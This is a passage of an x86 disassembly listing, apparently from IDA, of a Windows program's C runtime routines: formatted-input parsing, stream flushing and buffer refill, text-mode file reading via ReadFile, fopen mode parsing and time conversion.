; ---------------------------------------------------------------------------


loc_4160F1:				; CODE XREF: sub_41578D+95Ej
		mov	[eax], di


loc_4160F4:				; CODE XREF: sub_41578D+241j
					; sub_41578D+414j ...
		inc	[ebp+var_15]
		inc	[ebp+arg_4]
		mov	esi, [ebp+arg_4]
		jmp	short loc_416141
; ---------------------------------------------------------------------------


loc_4160FF:				; CODE XREF: sub_41578D+93j
		inc	[ebp+var_4]
		push	edi
		call	sub_4161E9
		mov	ebx, eax
		pop	ecx
		movzx	eax, byte ptr [esi]
		inc	esi
		cmp	eax, ebx
		mov	[ebp+var_14], ebx
		mov	[ebp+arg_4], esi
		jnz	short loc_41616E
		mov	ecx, ds:off_42E190
		movzx	eax, bl
		test	byte ptr [ecx+eax*2+1],	80h
		jz	short loc_416141
		inc	[ebp+var_4]
		push	edi
		call	sub_4161E9
		pop	ecx
		movzx	ecx, byte ptr [esi]
		inc	esi
		cmp	ecx, eax
		mov	[ebp+arg_4], esi
		jnz	short loc_41617C
		dec	[ebp+var_4]


loc_416141:				; CODE XREF: sub_41578D+970j
					; sub_41578D+99Aj
		cmp	[ebp+var_14], 0FFFFFFFFh
		jnz	short loc_416157
		cmp	byte ptr [esi],	25h
		jnz	short loc_416199
		mov	eax, [ebp+arg_4]
		cmp	byte ptr [eax+1], 6Eh
		jnz	short loc_416199
		mov	esi, eax


loc_416157:				; CODE XREF: sub_41578D+9B8j
		mov	al, [esi]
		test	al, al
		jnz	loc_4157B7
		jmp	short loc_416193
; ---------------------------------------------------------------------------


loc_416163:				; CODE XREF: sub_41578D+1F4j
					; sub_41578D+491j
		push	[ebp+arg_0]
		dec	[ebp+var_4]
		push	[ebp+var_14]
		jmp	short loc_416173
; ---------------------------------------------------------------------------


loc_41616E:				; CODE XREF: sub_41578D+98Aj
		dec	[ebp+var_4]
		push	edi
		push	ebx


loc_416173:				; CODE XREF: sub_41578D+9DFj
		call	sub_416203
		pop	ecx
		pop	ecx
		jmp	short loc_416193
; ---------------------------------------------------------------------------


loc_41617C:				; CODE XREF: sub_41578D+9AFj
		dec	[ebp+var_4]
		push	edi
		push	eax
		call	sub_416203
		dec	[ebp+var_4]
		push	edi
		push	ebx
		call	sub_416203
		add	esp, 10h


loc_416193:				; CODE XREF: sub_41578D+1Fj
					; sub_41578D+40Aj ...
		cmp	[ebp+var_14], 0FFFFFFFFh
		jnz	short loc_4161AA


loc_416199:				; CODE XREF: sub_41578D+9BDj
					; sub_41578D+9C6j
		mov	eax, [ebp+var_34]
		test	eax, eax
		jnz	short loc_4161AD
		cmp	[ebp+var_15], al
		jnz	short loc_4161AD
		or	eax, 0FFFFFFFFh
		jmp	short loc_4161AD
; ---------------------------------------------------------------------------


loc_4161AA:				; CODE XREF: sub_41578D+A0Aj
		mov	eax, [ebp+var_34]


loc_4161AD:				; CODE XREF: sub_41578D+A11j
					; sub_41578D+A16j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41578D	endp


; =============== S U B	R O U T	I N E =======================================



sub_4161B2	proc near		; CODE XREF: sub_41578D+7A3p
					; sub_41578D+8DCp

arg_0		= dword	ptr  4

		cmp	ds:dword_42E39C, 1
		push	esi
		jle	short loc_4161CC
		mov	esi, [esp+4+arg_0]
		push	4
		push	esi
		call	sub_413446
		pop	ecx
		pop	ecx
		jmp	short loc_4161DB
; ---------------------------------------------------------------------------


loc_4161CC:				; CODE XREF: sub_4161B2+8j
		mov	esi, [esp+4+arg_0]
		mov	eax, ds:off_42E190
		mov	al, [eax+esi*2]
		and	eax, 4


loc_4161DB:				; CODE XREF: sub_4161B2+18j
		test	eax, eax
		jnz	short loc_4161E5
		and	esi, 0FFFFFFDFh
		sub	esi, 7


loc_4161E5:				; CODE XREF: sub_4161B2+2Bj
		mov	eax, esi
		pop	esi
		retn
sub_4161B2	endp


; =============== S U B	R O U T	I N E =======================================



sub_4161E9	proc near		; CODE XREF: sub_41578D+1E1p
					; sub_41578D+289p ...

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		dec	dword ptr [edx+4]
		js	short loc_4161FB
		mov	ecx, [edx]
		movzx	eax, byte ptr [ecx]
		inc	ecx
		mov	[edx], ecx
		retn
; ---------------------------------------------------------------------------


loc_4161FB:				; CODE XREF: sub_4161E9+7j
		push	edx
		call	sub_4164EB
		pop	ecx
		retn
sub_4161E9	endp


; =============== S U B	R O U T	I N E =======================================



sub_416203	proc near		; CODE XREF: sub_41578D+6Bp
					; sub_41578D+3FFp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		cmp	[esp+arg_0], 0FFFFFFFFh
		jz	short locret_416219
		push	[esp+arg_4]
		push	[esp+4+arg_0]
		call	sub_418AFF
		pop	ecx
		pop	ecx

locret_416219:				; CODE XREF: sub_416203+5j
		retn
sub_416203	endp


; =============== S U B	R O U T	I N E =======================================



sub_41621A	proc near		; CODE XREF: sub_41578D+63p
					; sub_41578D+1D3p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi


loc_416220:				; CODE XREF: sub_41621A+1Dj
		push	[esp+8+arg_4]
		inc	dword ptr [esi]
		call	sub_4161E9
		mov	edi, eax
		push	edi
		call	sub_418AAF
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_416220
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_41621A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41623E	proc near		; CODE XREF: sub_411914+C9p

var_24		= byte ptr -24h
var_1C		= dword	ptr -1Ch
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_8		= dword	ptr -8
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		sub	esp, 24h
		push	ebx
		mov	ebx, [ebp+arg_0]
		sub	ebx, 76Ch
		cmp	ebx, 46h
		jl	loc_4162FA
		cmp	ebx, 8Ah
		jg	loc_4162FA
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		mov	esi, ds:dword_42EC24[edi*4]
		add	esi, [ebp+arg_8]
		test	bl, 3
		jnz	short loc_41627D
		cmp	edi, 2
		jle	short loc_41627D
		inc	esi


loc_41627D:				; CODE XREF: sub_41623E+37j
					; sub_41623E+3Cj
		call	sub_418B6D
		mov	eax, ebx
		lea	ecx, [ebx-1]
		imul	eax, 16Dh
		sar	ecx, 2
		mov	edx, esi
		mov	[ebp+var_8], esi
		add	edx, ecx
		mov	[ebp+var_10], ebx
		add	eax, edx
		mov	edx, [ebp+arg_14]
		lea	ecx, [eax+eax*2]
		mov	eax, [ebp+arg_C]
		mov	[ebp+var_1C], eax
		lea	ecx, [eax+ecx*8]
		imul	ecx, 3Ch
		add	ecx, [ebp+arg_10]
		imul	ecx, 3Ch
		add	ecx, ds:dword_42EB40
		dec	edi
		cmp	[ebp+arg_18], 1
		mov	[ebp+var_14], edi
		pop	edi
		pop	esi
		lea	ecx, [ecx+edx+7C558180h]
		mov	[ebp+arg_0], ecx
		jz	short loc_4162F0
		cmp	[ebp+arg_18], 0FFFFFFFFh
		jnz	short loc_4162F6
		cmp	ds:dword_42EB44, 0
		jz	short loc_4162F6
		lea	eax, [ebp+var_24]
		push	eax
		call	sub_418DE0
		pop	ecx
		mov	ecx, [ebp+arg_0]
		test	eax, eax
		jz	short loc_4162F6


loc_4162F0:				; CODE XREF: sub_41623E+90j
		add	ecx, ds:dword_42EB48


loc_4162F6:				; CODE XREF: sub_41623E+96j
					; sub_41623E+9Fj ...
		mov	eax, ecx
		jmp	short loc_4162FD
; ---------------------------------------------------------------------------


loc_4162FA:				; CODE XREF: sub_41623E+13j
					; sub_41623E+1Fj
		or	eax, 0FFFFFFFFh


loc_4162FD:				; CODE XREF: sub_41623E+BAj
		pop	ebx
		leave
		retn
sub_41623E	endp


; =============== S U B	R O U T	I N E =======================================



sub_416300	proc near		; CODE XREF: sub_4119F0+2Ap
					; sub_4192E6+290p

arg_0		= dword	ptr  4

		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	edi, [esp+10h+arg_0]
		cmp	edi, ds:dword_460C60
		jnb	loc_41639A
		mov	eax, edi
		mov	esi, edi
		sar	eax, 5
		and	esi, 1Fh
		lea	ebx, ds:460B60h[eax*4]
		shl	esi, 3
		mov	eax, [ebx]
		test	byte ptr [eax+esi+4], 1
		jz	short loc_41639A
		push	edi
		call	sub_419252
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_416379
		cmp	edi, 1
		jz	short loc_416347
		cmp	edi, 2
		jnz	short loc_41635D


loc_416347:				; CODE XREF: sub_416300+40j
		push	2
		call	sub_419252
		push	1
		mov	ebp, eax
		call	sub_419252
		pop	ecx
		cmp	eax, ebp
		pop	ecx
		jz	short loc_416379


loc_41635D:				; CODE XREF: sub_416300+45j
		push	edi
		call	sub_419252
		pop	ecx
		push	eax
		call	ds:dword_41C070	; CloseHandle
		test	eax, eax
		jnz	short loc_416379
		call	ds:dword_41C068	; RtlGetLastWin32Error
		mov	ebp, eax
		jmp	short loc_41637B
; ---------------------------------------------------------------------------


loc_416379:				; CODE XREF: sub_416300+3Bj
					; sub_416300+5Bj ...
		xor	ebp, ebp


loc_41637B:				; CODE XREF: sub_416300+77j
		push	edi
		call	sub_4191D8
		mov	eax, [ebx]
		pop	ecx
		and	byte ptr [eax+esi+4], 0
		test	ebp, ebp
		jz	short loc_416396
		push	ebp
		call	sub_41724D
		pop	ecx
		jmp	short loc_4163AB
; ---------------------------------------------------------------------------


loc_416396:				; CODE XREF: sub_416300+8Bj
		xor	eax, eax
		jmp	short loc_4163AE
; ---------------------------------------------------------------------------


loc_41639A:				; CODE XREF: sub_416300+Ej
					; sub_416300+2Fj
		and	ds:dword_45F848, 0
		mov	ds:dword_45F844, 9


loc_4163AB:				; CODE XREF: sub_416300+94j
		or	eax, 0FFFFFFFFh


loc_4163AE:				; CODE XREF: sub_416300+98j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_416300	endp


; =============== S U B	R O U T	I N E =======================================



sub_4163B3	proc near		; CODE XREF: sub_4119F0+22p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		mov	eax, [esi+0Ch]
		test	al, 83h
		jz	short loc_4163DC
		test	al, 8
		jz	short loc_4163DC
		push	dword ptr [esi+8]
		call	sub_410C83
		and	word ptr [esi+0Ch], 0FBF7h
		xor	eax, eax
		pop	ecx
		mov	[esi], eax
		mov	[esi+8], eax
		mov	[esi+4], eax


loc_4163DC:				; CODE XREF: sub_4163B3+Aj
					; sub_4163B3+Ej
		pop	esi
		retn
sub_4163B3	endp


; =============== S U B	R O U T	I N E =======================================



sub_4163DE	proc near		; CODE XREF: sub_41647E+2Dp
					; sub_41647E+48p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		test	esi, esi
		jnz	short loc_4163F0
		push	esi
		call	sub_41647E
		pop	ecx
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4163F0:				; CODE XREF: sub_4163DE+7j
		push	esi
		call	sub_416419
		test	eax, eax
		pop	ecx
		jz	short loc_416400
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_416400:				; CODE XREF: sub_4163DE+1Bj
		test	byte ptr [esi+0Dh], 40h
		jz	short loc_416415
		push	dword ptr [esi+10h]
		call	sub_41928F
		neg	eax
		pop	ecx
		pop	esi
		sbb	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_416415:				; CODE XREF: sub_4163DE+26j
		xor	eax, eax
		pop	esi
		retn
sub_4163DE	endp


; =============== S U B	R O U T	I N E =======================================



sub_416419	proc near		; CODE XREF: sub_4119F0+1Ap
					; seg000:00411E35p ...

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		mov	esi, [esp+8+arg_0]
		xor	ebx, ebx
		push	edi
		mov	eax, [esi+0Ch]
		mov	ecx, eax
		and	ecx, 3
		cmp	cl, 2
		jnz	short loc_416466
		test	ax, 108h
		jz	short loc_416466
		mov	eax, [esi+8]
		mov	edi, [esi]
		sub	edi, eax
		test	edi, edi
		jle	short loc_416466
		push	edi
		push	eax
		push	dword ptr [esi+10h]
		call	sub_417DAC
		add	esp, 0Ch
		cmp	eax, edi
		jnz	short loc_41645F
		mov	eax, [esi+0Ch]
		test	al, 80h
		jz	short loc_416466
		and	al, 0FDh
		mov	[esi+0Ch], eax
		jmp	short loc_416466
; ---------------------------------------------------------------------------


loc_41645F:				; CODE XREF: sub_416419+36j
		or	dword ptr [esi+0Ch], 20h
		or	ebx, 0FFFFFFFFh


loc_416466:				; CODE XREF: sub_416419+14j
					; sub_416419+1Aj ...
		mov	eax, [esi+8]
		and	dword ptr [esi+4], 0
		mov	[esi], eax
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
sub_416419	endp


; =============== S U B	R O U T	I N E =======================================



sub_416475	proc near		; CODE XREF: seg000:loc_418068p
		push	1
		call	sub_41647E
		pop	ecx
		retn
sub_416475	endp


; =============== S U B	R O U T	I N E =======================================



sub_41647E	proc near		; CODE XREF: sub_4163DE+Ap
					; sub_416475+2p

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		push	edi
		xor	esi, esi
		xor	ebx, ebx
		xor	edi, edi
		cmp	ds:dword_460B40, esi
		jle	short loc_4164DC


loc_41648F:				; CODE XREF: sub_41647E+5Cj
		mov	eax, ds:dword_45FB34
		mov	eax, [eax+esi*4]
		test	eax, eax
		jz	short loc_4164D3
		mov	ecx, [eax+0Ch]
		test	cl, 83h
		jz	short loc_4164D3
		cmp	[esp+0Ch+arg_0], 1
		jnz	short loc_4164B9
		push	eax
		call	sub_4163DE
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_4164D3
		inc	ebx
		jmp	short loc_4164D3
; ---------------------------------------------------------------------------


loc_4164B9:				; CODE XREF: sub_41647E+2Aj
		cmp	[esp+0Ch+arg_0], 0
		jnz	short loc_4164D3
		test	cl, 2
		jz	short loc_4164D3
		push	eax
		call	sub_4163DE
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jnz	short loc_4164D3
		or	edi, eax


loc_4164D3:				; CODE XREF: sub_41647E+1Bj
					; sub_41647E+23j ...
		inc	esi
		cmp	esi, ds:dword_460B40
		jl	short loc_41648F


loc_4164DC:				; CODE XREF: sub_41647E+Fj
		cmp	[esp+0Ch+arg_0], 1
		mov	eax, ebx
		jz	short loc_4164E7
		mov	eax, edi


loc_4164E7:				; CODE XREF: sub_41647E+65j
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_41647E	endp


; =============== S U B	R O U T	I N E =======================================



sub_4164EB	proc near		; CODE XREF: sub_411A46+A9p
					; sub_41269C+2Dp ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		mov	eax, [esi+0Ch]
		test	al, 83h
		jz	loc_4165BF
		test	al, 40h
		jnz	loc_4165BF
		test	al, 2
		jz	short loc_416511
		or	al, 20h
		mov	[esi+0Ch], eax
		jmp	loc_4165BF
; ---------------------------------------------------------------------------


loc_416511:				; CODE XREF: sub_4164EB+1Aj
		or	al, 1
		test	ax, 10Ch
		mov	[esi+0Ch], eax
		jnz	short loc_416525
		push	esi
		call	sub_417F59
		pop	ecx
		jmp	short loc_41652A
; ---------------------------------------------------------------------------


loc_416525:				; CODE XREF: sub_4164EB+2Fj
		mov	eax, [esi+8]
		mov	[esi], eax


loc_41652A:				; CODE XREF: sub_4164EB+38j
		push	dword ptr [esi+18h]
		push	dword ptr [esi+8]
		push	dword ptr [esi+10h]
		call	sub_4165C4
		add	esp, 0Ch
		mov	[esi+4], eax
		test	eax, eax
		jz	short loc_4165AE
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4165AE
		mov	edx, [esi+0Ch]
		test	dl, 82h
		jnz	short loc_416583
		mov	ecx, [esi+10h]
		push	edi
		cmp	ecx, 0FFFFFFFFh
		jz	short loc_41656C
		mov	edi, ecx
		sar	edi, 5
		and	ecx, 1Fh
		mov	edi, ds:dword_460B60[edi*4]
		lea	edi, [edi+ecx*8]
		jmp	short loc_416571
; ---------------------------------------------------------------------------


loc_41656C:				; CODE XREF: sub_4164EB+6Bj
		mov	edi, offset dword_42E7F0


loc_416571:				; CODE XREF: sub_4164EB+7Fj
		mov	cl, [edi+4]
		pop	edi
		and	cl, 82h
		cmp	cl, 82h
		jnz	short loc_416583
		or	dh, 20h
		mov	[esi+0Ch], edx


loc_416583:				; CODE XREF: sub_4164EB+62j
					; sub_4164EB+90j
		cmp	dword ptr [esi+18h], 200h
		jnz	short loc_4165A0
		mov	ecx, [esi+0Ch]
		test	cl, 8
		jz	short loc_4165A0
		test	ch, 4
		jnz	short loc_4165A0
		mov	dword ptr [esi+18h], 1000h


loc_4165A0:				; CODE XREF: sub_4164EB+9Fj
					; sub_4164EB+A7j ...
		mov	ecx, [esi]
		dec	eax
		mov	[esi+4], eax
		movzx	eax, byte ptr [ecx]
		inc	ecx
		mov	[esi], ecx
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4165AE:				; CODE XREF: sub_4164EB+55j
					; sub_4164EB+5Aj
		neg	eax
		sbb	eax, eax
		and	eax, 10h
		add	eax, 10h
		or	[esi+0Ch], eax
		and	dword ptr [esi+4], 0


loc_4165BF:				; CODE XREF: sub_4164EB+Aj
					; sub_4164EB+12j ...
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
sub_4164EB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4165C4	proc near		; CODE XREF: sub_411A46+90p
					; sub_4164EB+48p ...

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_1		= byte ptr -1
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		push	edi
		cmp	esi, ds:dword_460C60
		jnb	loc_4167A1
		mov	eax, esi
		and	esi, 1Fh
		sar	eax, 5
		shl	esi, 3
		lea	ebx, ds:460B60h[eax*4]
		mov	eax, ds:dword_460B60[eax*4]
		add	eax, esi
		mov	dl, [eax+4]
		test	dl, 1
		jz	loc_4167A1
		and	[ebp+var_8], 0
		mov	edi, [ebp+arg_4]
		cmp	[ebp+arg_8], 0
		mov	ecx, edi
		jz	short loc_416679
		test	dl, 2
		jnz	short loc_416679
		test	dl, 48h
		jz	short loc_416639
		mov	al, [eax+5]
		cmp	al, 0Ah
		jz	short loc_416639
		dec	[ebp+arg_8]
		mov	[edi], al
		mov	eax, [ebx]
		lea	ecx, [edi+1]
		mov	[ebp+var_8], 1
		mov	byte ptr [eax+esi+5], 0Ah


loc_416639:				; CODE XREF: sub_4165C4+56j
					; sub_4165C4+5Dj
		lea	eax, [ebp+var_C]
		push	0
		push	eax
		mov	eax, [ebx]
		push	[ebp+arg_8]
		push	ecx
		push	dword ptr [eax+esi]
		call	ds:dword_41C094	; ReadFile
		test	eax, eax
		jnz	short loc_41668C
		call	ds:dword_41C068	; RtlGetLastWin32Error
		push	5
		pop	ecx
		cmp	eax, ecx
		jnz	short loc_416674
		mov	ds:dword_45F844, 9
		mov	ds:dword_45F848, ecx
		jmp	loc_4167B2
; ---------------------------------------------------------------------------


loc_416674:				; CODE XREF: sub_4165C4+99j
		cmp	eax, 6Dh
		jnz	short loc_416680


loc_416679:				; CODE XREF: sub_4165C4+4Cj
					; sub_4165C4+51j
		xor	eax, eax
		jmp	loc_4167B5
; ---------------------------------------------------------------------------


loc_416680:				; CODE XREF: sub_4165C4+B3j
		push	eax
		call	sub_41724D
		pop	ecx
		jmp	loc_4167B2
; ---------------------------------------------------------------------------


loc_41668C:				; CODE XREF: sub_4165C4+8Cj
		mov	eax, [ebx]
		mov	edx, [ebp+var_C]
		add	[ebp+var_8], edx
		lea	ecx, [eax+esi+4]
		mov	al, [eax+esi+4]
		test	al, 80h
		jz	loc_41679C
		test	edx, edx
		jz	short loc_4166B1
		cmp	byte ptr [edi],	0Ah
		jnz	short loc_4166B1
		or	al, 4
		jmp	short loc_4166B3
; ---------------------------------------------------------------------------


loc_4166B1:				; CODE XREF: sub_4165C4+E2j
					; sub_4165C4+E7j
		and	al, 0FBh


loc_4166B3:				; CODE XREF: sub_4165C4+EBj
		mov	[ecx], al
		mov	eax, [ebp+arg_4]
		mov	ecx, [ebp+var_8]
		mov	[ebp+arg_8], eax
		add	ecx, eax
		cmp	eax, ecx
		mov	[ebp+var_8], ecx
		jnb	loc_416796


loc_4166CB:				; CODE XREF: sub_4165C4+1BAj
		mov	eax, [ebp+arg_8]
		mov	al, [eax]
		cmp	al, 1Ah
		jz	loc_416786
		cmp	al, 0Dh
		jz	short loc_4166E7
		mov	[edi], al
		inc	edi
		inc	[ebp+arg_8]
		jmp	loc_416778
; ---------------------------------------------------------------------------


loc_4166E7:				; CODE XREF: sub_4165C4+116j
		dec	ecx
		cmp	[ebp+arg_8], ecx
		jnb	short loc_416705
		mov	eax, [ebp+arg_8]
		inc	eax
		cmp	byte ptr [eax],	0Ah
		jnz	short loc_4166FC
		add	[ebp+arg_8], 2
		jmp	short loc_41675A
; ---------------------------------------------------------------------------


loc_4166FC:				; CODE XREF: sub_4165C4+130j
		mov	byte ptr [edi],	0Dh
		inc	edi
		mov	[ebp+arg_8], eax
		jmp	short loc_416778
; ---------------------------------------------------------------------------


loc_416705:				; CODE XREF: sub_4165C4+127j
		lea	eax, [ebp+var_C]
		push	0
		push	eax
		inc	[ebp+arg_8]
		lea	eax, [ebp+var_1]
		push	1
		push	eax
		mov	eax, [ebx]
		push	dword ptr [eax+esi]
		call	ds:dword_41C094	; ReadFile
		test	eax, eax
		jnz	short loc_41672D
		call	ds:dword_41C068	; RtlGetLastWin32Error
		test	eax, eax
		jnz	short loc_416774


loc_41672D:				; CODE XREF: sub_4165C4+15Dj
		cmp	[ebp+var_C], 0
		jz	short loc_416774
		mov	eax, [ebx]
		test	byte ptr [eax+esi+4], 48h
		jz	short loc_41674F
		mov	al, [ebp+var_1]
		cmp	al, 0Ah
		jz	short loc_41675A
		mov	byte ptr [edi],	0Dh
		mov	ecx, [ebx]
		inc	edi
		mov	[ecx+esi+5], al
		jmp	short loc_416778
; ---------------------------------------------------------------------------


loc_41674F:				; CODE XREF: sub_4165C4+176j
		cmp	edi, [ebp+arg_4]
		jnz	short loc_41675F
		cmp	[ebp+var_1], 0Ah
		jnz	short loc_41675F


loc_41675A:				; CODE XREF: sub_4165C4+136j
					; sub_4165C4+17Dj
		mov	byte ptr [edi],	0Ah
		jmp	short loc_416777
; ---------------------------------------------------------------------------


loc_41675F:				; CODE XREF: sub_4165C4+18Ej
					; sub_4165C4+194j
		push	1
		push	0FFFFFFFFh
		push	[ebp+arg_0]
		call	sub_4169A2
		add	esp, 0Ch
		cmp	[ebp+var_1], 0Ah
		jz	short loc_416778


loc_416774:				; CODE XREF: sub_4165C4+167j
					; sub_4165C4+16Dj
		mov	byte ptr [edi],	0Dh


loc_416777:				; CODE XREF: sub_4165C4+199j
		inc	edi


loc_416778:				; CODE XREF: sub_4165C4+11Ej
					; sub_4165C4+13Fj ...
		mov	ecx, [ebp+var_8]
		cmp	[ebp+arg_8], ecx
		jb	loc_4166CB
		jmp	short loc_416796
; ---------------------------------------------------------------------------


loc_416786:				; CODE XREF: sub_4165C4+10Ej
		mov	eax, [ebx]
		lea	esi, [eax+esi+4]
		mov	al, [esi]
		test	al, 40h
		jnz	short loc_416796
		or	al, 2
		mov	[esi], al


loc_416796:				; CODE XREF: sub_4165C4+101j
					; sub_4165C4+1C0j ...
		sub	edi, [ebp+arg_4]
		mov	[ebp+var_8], edi


loc_41679C:				; CODE XREF: sub_4165C4+DAj
		mov	eax, [ebp+var_8]
		jmp	short loc_4167B5
; ---------------------------------------------------------------------------


loc_4167A1:				; CODE XREF: sub_4165C4+12j
					; sub_4165C4+39j
		and	ds:dword_45F848, 0
		mov	ds:dword_45F844, 9


loc_4167B2:				; CODE XREF: sub_4165C4+ABj
					; sub_4165C4+C3j
		or	eax, 0FFFFFFFFh


loc_4167B5:				; CODE XREF: sub_4165C4+B7j
					; sub_4165C4+1DBj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4165C4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4167BA	proc near		; CODE XREF: sub_411B2E+17p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		mov	esi, ds:dword_45FB04
		push	edi
		mov	edi, [ebp+arg_4]
		xor	ebx, ebx
		mov	[ebp+var_8], ebx
		mov	[ebp+var_4], ebx
		mov	al, [edi]
		cmp	al, 61h
		jz	short loc_4167F3
		cmp	al, 72h
		jz	short loc_4167EC
		cmp	al, 77h
		jnz	loc_416907
		mov	ecx, 301h
		jmp	short loc_4167F8
; ---------------------------------------------------------------------------


loc_4167EC:				; CODE XREF: sub_4167BA+21j
		xor	ecx, ecx
		or	esi, 1
		jmp	short loc_4167FB
; ---------------------------------------------------------------------------


loc_4167F3:				; CODE XREF: sub_4167BA+1Dj
		mov	ecx, 109h


loc_4167F8:				; CODE XREF: sub_4167BA+30j
		or	esi, 2


loc_4167FB:				; CODE XREF: sub_4167BA+37j
		push	1
		pop	edx


loc_4167FE:				; CODE XREF: sub_4167BA+8Bj
					; sub_4167BA+A0j ...
		mov	al, [edi+1]
		inc	edi
		cmp	al, bl
		jz	loc_4168ED
		cmp	edx, ebx
		jz	loc_4168ED
		movsx	eax, al
		cmp	eax, 54h
		jg	short loc_41688C
		jz	short loc_41687C
		sub	eax, 2Bh
		jz	short loc_416866
		sub	eax, 19h
		jz	short loc_41685C
		sub	eax, 0Eh
		jz	short loc_416847
		dec	eax
		jnz	loc_4168DE
		cmp	[ebp+var_4], ebx
		jnz	loc_4168DE
		mov	[ebp+var_4], 1
		or	ecx, 20h
		jmp	short loc_4167FE
; ---------------------------------------------------------------------------


loc_416847:				; CODE XREF: sub_4167BA+6Fj
		cmp	[ebp+var_4], ebx
		jnz	loc_4168DE
		mov	[ebp+var_4], 1
		or	ecx, 10h
		jmp	short loc_4167FE
; ---------------------------------------------------------------------------


loc_41685C:				; CODE XREF: sub_4167BA+6Aj
		test	cl, 40h
		jnz	short loc_4168DE
		or	ecx, 40h
		jmp	short loc_4167FE
; ---------------------------------------------------------------------------


loc_416866:				; CODE XREF: sub_4167BA+65j
		test	cl, 2
		jnz	short loc_4168DE
		and	ecx, 0FFFFFFFEh
		and	esi, 0FFFFFFFCh
		or	ecx, 2
		or	esi, 80h
		jmp	short loc_4167FE
; ---------------------------------------------------------------------------


loc_41687C:				; CODE XREF: sub_4167BA+60j
		mov	eax, 1000h
		test	ecx, eax
		jnz	short loc_4168DE
		or	ecx, eax
		jmp	loc_4167FE
; ---------------------------------------------------------------------------


loc_41688C:				; CODE XREF: sub_4167BA+5Ej
		sub	eax, 62h
		jz	short loc_4168D9
		dec	eax
		jz	short loc_4168C2
		sub	eax, 0Bh
		jz	short loc_4168AB
		sub	eax, 6
		jnz	short loc_4168DE
		test	ch, 0C0h
		jnz	short loc_4168DE
		or	ch, 40h
		jmp	loc_4167FE
; ---------------------------------------------------------------------------


loc_4168AB:				; CODE XREF: sub_4167BA+DDj
		cmp	[ebp+var_8], ebx
		jnz	short loc_4168DE
		mov	[ebp+var_8], 1
		and	esi, 0FFFFBFFFh
		jmp	loc_4167FE
; ---------------------------------------------------------------------------


loc_4168C2:				; CODE XREF: sub_4167BA+D8j
		cmp	[ebp+var_8], ebx
		jnz	short loc_4168DE
		mov	[ebp+var_8], 1
		or	esi, 4000h
		jmp	loc_4167FE
; ---------------------------------------------------------------------------


loc_4168D9:				; CODE XREF: sub_4167BA+D5j
		test	ch, 0C0h
		jz	short loc_4168E5


loc_4168DE:				; CODE XREF: sub_4167BA+72j
					; sub_4167BA+7Bj ...
		xor	edx, edx
		jmp	loc_4167FE
; ---------------------------------------------------------------------------


loc_4168E5:				; CODE XREF: sub_4167BA+122j
		or	ch, 80h
		jmp	loc_4167FE
; ---------------------------------------------------------------------------


loc_4168ED:				; CODE XREF: sub_4167BA+4Aj
					; sub_4167BA+52j
		push	1A4h
		push	[ebp+arg_8]
		push	ecx
		push	[ebp+arg_0]
		call	sub_4192E6
		mov	ecx, eax
		add	esp, 10h
		cmp	ecx, ebx
		jge	short loc_41690B


loc_416907:				; CODE XREF: sub_4167BA+25j
		xor	eax, eax
		jmp	short loc_416925
; ---------------------------------------------------------------------------


loc_41690B:				; CODE XREF: sub_4167BA+14Bj
		mov	eax, [ebp+arg_C]
		inc	ds:dword_45FA04
		mov	[eax+0Ch], esi
		mov	[eax+4], ebx
		mov	[eax], ebx
		mov	[eax+8], ebx
		mov	[eax+1Ch], ebx
		mov	[eax+10h], ecx


loc_416925:				; CODE XREF: sub_4167BA+14Fj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4167BA	endp


; =============== S U B	R O U T	I N E =======================================



sub_41692A	proc near		; CODE XREF: sub_411B2Ep
		mov	edx, ds:dword_460B40
		push	ebx
		push	ebp
		push	esi
		xor	ebp, ebp
		xor	esi, esi
		xor	eax, eax
		cmp	edx, ebp
		push	edi
		jle	short loc_41699B
		mov	ebx, ds:dword_45FB34
		mov	edi, ebx
